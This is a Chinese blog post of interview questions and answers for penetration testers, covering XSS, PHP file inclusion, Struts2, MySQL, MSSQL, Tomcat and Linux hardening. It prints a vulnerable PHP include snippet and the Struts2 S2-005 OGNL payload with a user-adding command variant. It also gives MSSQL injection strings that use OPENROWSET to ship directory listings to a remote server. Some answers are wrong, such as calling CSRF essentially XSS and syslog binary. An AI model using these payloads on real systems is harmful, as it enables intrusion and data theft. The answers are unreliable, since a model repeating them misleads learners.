天天看點

【網絡安全】滲透工程師面試題總結大全

前言

總結了一些面試題,大家看看吧!

【網絡安全】滲透工程師面試題總結大全

1.如果給你一個 XSS 盲打漏洞,但是傳回來的資訊顯示,他的背景是在内網,并且隻能使用内網通路,那麼你怎麼利用這個 XSS?

必須是 self xss + csrf +ssrf 到 getshel

2.php 的 LFI,本地包含漏洞原理是什麼?寫一段帶有漏洞的代碼。

如果允許用戶端使用者輸入控制動态包含在伺服器端的檔案,會導緻惡意代碼的執行及敏感資訊洩露,主要包括本地檔案包含和遠端檔案包含兩種形式。常見包含函數有:include()、require()差別:include 是當代碼執行到它的時候才加載檔案,發生錯誤的時候隻是給一個警告,然後繼續往下執行 require 是隻要程式一執行就會立即調用檔案,發生錯誤的時候會輸出錯誤資訊,并且終止腳本的運作

<?php
include($_GET['f']);
?>
           

 3.CSRF 漏洞的本質是什麼?

本質就是 xss

4.你都了解哪些 java 架構?

spring 和 struts2 架構

5.ibats 的參數化查詢能不能有效的控制 sql 注入?有沒有危險的方法可以造成 sql 注入?

SQL 注入主要的是因為文本框的内容和 SQL 連接配接以後會改變 SQL 的語義,例如:文本框包含單引号什麼的參數化查詢就可以将這些内容獨立作為參數,本身的語句不會改變。

面試題擷取

【網絡安全】滲透工程師面試題總結大全

6.說說兩次 struts2 漏洞的原理?

Struts2 的核心是使用的 

webwork

 架構,處理 action 時通過調用底層的 getter/setter 方法來處理 http 的參數,它将每個 http 參數聲明為一個 ONGL(這裡是 ONGL 的介紹)語句。

當我們送出一個 http 參數:

?user.address.city=Bishkek&user['favoriteDrink']=kumys 
           

 ONGL 将它轉換為:

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
           

這是通過 ParametersInterceptor(參數過濾器)來執行的,使用使用者提供的 HTTP 參數調用 ValueStack.setValue()。為了防範篡改伺服器端對象,XWork 的 ParametersInterceptor 不允許參數名中出現“#”字元,但如果使用了 Java 的 unicode 字元串表示\u0023,攻擊者就可以繞過保護,修改保護 Java 方式執行的值:

此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(a
aa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u
003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&
(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRunti
me()))=1
           

 轉義後是這樣:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#c
ontext['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=ne
w%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]
[email protected]()))=1
           

OGNL 處理時最終的結果就是

java.lang.Runtime.getRuntime().exit(1); //關閉程式,即将 web 程式關閉
類似的可以執行
java.lang.Runtime.getRuntime().exec("net user 使用者名 密碼 /add");//增
加作業系統使用者,在有權限的情況下能成功(在 URL 中用%20 替換空格,%2F 替換
           

 /)隻要有權限就可以執行任何 DOS 指令

7.ongl 在這個 payload 中起了什麼作用?

Ognl 表達式語言,Struts 标簽預設支援的表達式語言,必須配置 Struts 标簽用,不能離開 Struts 标簽直接使用,就是說 Ognl 必須在 Struts 中使用

8.\u0023 是什麼字元的 16 進制編碼?為什麼在 payload 中要用他?

#,在 S2-005 中可通過\u0023 繞過過濾執行

9.xss filter 在 java 程式的哪裡設定?

在 web.xml 裡面配置

10.說下 java 的類反射在安全上可能存在哪些問題?

可能會導緻 JAVA 反序化漏洞

11.tomcat 要做哪些安全加強?

更新到最新穩定版從監聽端口上加強僅在本地監聽

如果 Tomcat 不需要對外提供服務,則監聽在本地回環,前面放 Nginx。如果需要對外提供通路,比如一個 Nginx 挂多個 Tomcat,那麼在伺服器上用 iptables 隻允許負載均衡器的 IP 來通路關閉 8009 端口現在我們一般不用 Apache 通過 AJP 協定來調用 Tomcat 了,是以 AJP 端口可以關閉。8005 端口檢視端口占用情況自定義錯誤頁面,隐藏 Tomcat 資訊編輯 conf/web.xml,在标簽上添加以下内容:禁用 Tomcat 管理頁面删除 webapps 目錄下 Tomcat 原有的所有内容删除 conf/Catalina/localhost/下的 host-manager.xml 和 manager.xml 這兩個檔案用普通使用者啟動 Tomcat 禁止 Tomcat 列目錄如果 tomcat 重新開機的話,webapps 下,你删除的背景會不會又回來?你隻是删除了背景,并沒有删除 webaspps 下 war 包

12.mysql 資料庫預設有哪些庫?說出庫的名字?

1.mysql 庫,存儲使用者等資訊 2.information_schema,存儲表、鎖等性能資訊 3.test,mysql 自建測試庫 4.performance_schema,互斥鎖等資訊(5.6 之前需要手動開啟,從 5.6 開始預設開啟)

13.mysql 的使用者名密碼是存放在那張表裡面?mysql 密碼采用哪種加密方式?

mysql.user 表 MySQL 4.1 版本之前是 MySQL323 加密,MySQL 4.1 和之後的版本都是

MySQLSHA1 加密

MYSQL323 加密中生成的是 16 位字元串,而在 MySQLSHA1 中生存的是 41 位字元串,其中**是不加入實際的密碼運算中,通過觀察在很多使用者中都攜帶了"",在實際破解過程中去掉"*",也就是說 MySQLSHA1 加密的密碼的實際位數是 40 位。

14.mysql 表權限裡面,除了增删改查,檔案讀寫,還有哪些權限?

排序,查詢,索引等

15.mysql 安全要如何做?

Mysql 賬戶權限安全 Mysql 資料的網絡安全配置密碼政策安全 Mysql 日志 Mysql 資料庫服務所在主機安全配置部署 SQL 注入檢測、防禦子產品 mysqld 安全相關啟動選項 mysql 備份政策

16.sqlserver public 權限要如何提權?

注入點執行

aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null
identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2
nvarchar(500))
           

注入點執行

aaa.com x.asp?id=123;insert into OPENROWSET
('sqloledb','server=xx.xx.xx.xx,1433;Initial
Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2
from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 執行
select * from dhtemq
--建立一個臨時表,一般的表我們是無辦法建立的,我們隻能建立臨時表
 #-----為本地臨時表
 ##----為全局臨時表
 create table ##nonamed(
 dir ntext,
 num int
 )
 --調用存儲過程把執行回來的資料存到臨時表裡面
 insert ##nonamed execute master..xp_dirtree 'c:/',1
 --然後采用 openrowset 函數把臨時表的資料導到本地 MSSQL 的 dirtree
表裡面了
 insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select *
from Northwind.dbo.dirtree') 
 select * from ##nonamed
           

 以上方法,也就是說 public 可以周遊使用者伺服器的目錄在 NBSI 中,隻要把臨時表名加前加 ##就可以了,但要注意 URL 轉碼,即寫成:

%23%23nonamed

 就 OK 了!

17.簡述 Linux 系統安全加強需要做哪些方面?

1.密碼安全政策 2.關閉不必要的端口和服務 3.檔案權限的設定等

18.你使用什麼工具來判斷系統是否存在後門?

pchunter 攻擊檢視程序和服務

19.Linux 的 Selinux 是什麼?如何設定 Selinux?

SELinux 是一種本機安全性授權,它能控制程式隻能通路特定檔案使用 setup 工具進入圖形化關閉搜尋或者修改/etc/sysconfig/selinux 檔案 SELINUX=disabled 防火牆打開使用 service iptables start 或則/etc/init.d/iptables start

20.iptables 工作在 TCP/IP 模型中的哪層?

網絡層

21.syslog 裡面都有哪些日志?安裝軟體的日志去哪找?如何查詢 ssh 的登入日志?

cd /var/log
less secure
           

22.syslog 可不可以使用 vi 等工具直接檢視?是二進制檔案嗎?

不能,隻能使用 cat 之類的指令攻擊檢視,屬于二進制檔案

23.DNS 在滲透中的作用?

通過 DNS 可以查詢對應的 IP 主機名,也可以查詢出是否存在域傳輸漏洞

網絡安全滲透開發發向是所有安全人所追求的目标,希望這篇文章能幫助到需要的人

繼續閱讀